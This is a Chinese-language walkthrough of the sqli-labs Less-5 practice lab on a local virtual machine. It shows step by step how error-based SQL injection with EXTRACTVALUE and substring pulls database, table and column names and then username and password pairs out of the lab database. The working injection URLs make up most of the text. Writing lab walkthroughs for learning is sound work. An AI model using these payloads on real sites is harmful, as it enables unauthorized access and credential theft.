sqli-labs less-5
本次测试由虚拟机搭建靶场,主机浏览器中基于hackbar插件进行测试
1、确定注入点及注入类型
输入:
http://192.168.128.3/sq/Less-5/?id=1
http://192.168.128.3/sq/Less-5/?id=2
发现页面回显都一致,
输入
http://192.168.128.3/sq/Less-5/?id=1’
页面回显报错
从报错判断多了个 ’ ,确定闭合为*‘ ’* ,
2、确定列数
输入
http://192.168.128.3/sq/Less-5/?id=1’ order by 5–+
http://192.168.128.3/sq/Less-5/?id=1’ order by 4–+
http://192.168.128.3/sq/Less-5/?id=1’ order by 3–+
发现5,4都报错,3的时候页面回显与之前一致,确定由三列
3、确定回显位
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,2,3–+
无回显,结合前面出现的单引号与确定列数页面出现报错可判断出,此关可使用报错注入
本次我使用 EXTRACTVALUE() 函数进行报错注入。
函数原型
EXTRACTVALUE(xml_data, xpath_expression)
extractvalue()函数原理可参考我写的另外一篇文章
报错注入函数基础知识详解
或者另外一位博主讲的:sql注入之报错注入
使用报错注入确定回显
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,(select database()))),3–+
- 0x7e转码后为 ~ ,加入~目的是为了让后面的路径故意报错
使用了extractvalue函数,将xml数据设置为1
,xpath_expression部分设置为concat(0x7e,(select database())
此时的xpath_expression为“~数据库名”
,由于1
中并没有“~数据库名”
因此会产生报错,可以从报错结果中看到我们想要的数据库名
故此查询到数据库名
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,(select version()))),3–+
- 版本名
3、爆出所有数据库名
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))),3–+
**由此爆出了数据库名,但是由于此报错注入一次返回的字符只能由32位,这时我们可以借助substring
函数
例如:select substring(123456,1,3);
输出 123
于是我们可以使用
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(schema_name) from information_schema.schemata)),1,30))),3–+
来显示从第一个字符开始的前三十个,然后使用
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(schema_name) from information_schema.schemata)),30,30))),3–+
发现还没有显示完全,接着
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(schema_name) from information_schema.schemata)),60,30))),3–+
显示完整,三次报错显示结果如下:
得到完整的数据库
4、爆出security的所有表名
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(table_name) from information_schema.tables where table_schema=database())),1,30))),3–+
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(table_name) from information_schema.tables where table_schema=database())),30,30))),3–+
得到想要的表名 users
5、爆出列名
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)),1,30))),3–+
6、爆出数据
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(username,’ ',password) from security.users)),1,30))),3–+
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(username,’ ',password) from security.users)),30,30))),3–+
剩下数据显示出来与上面同理
至此,大功告成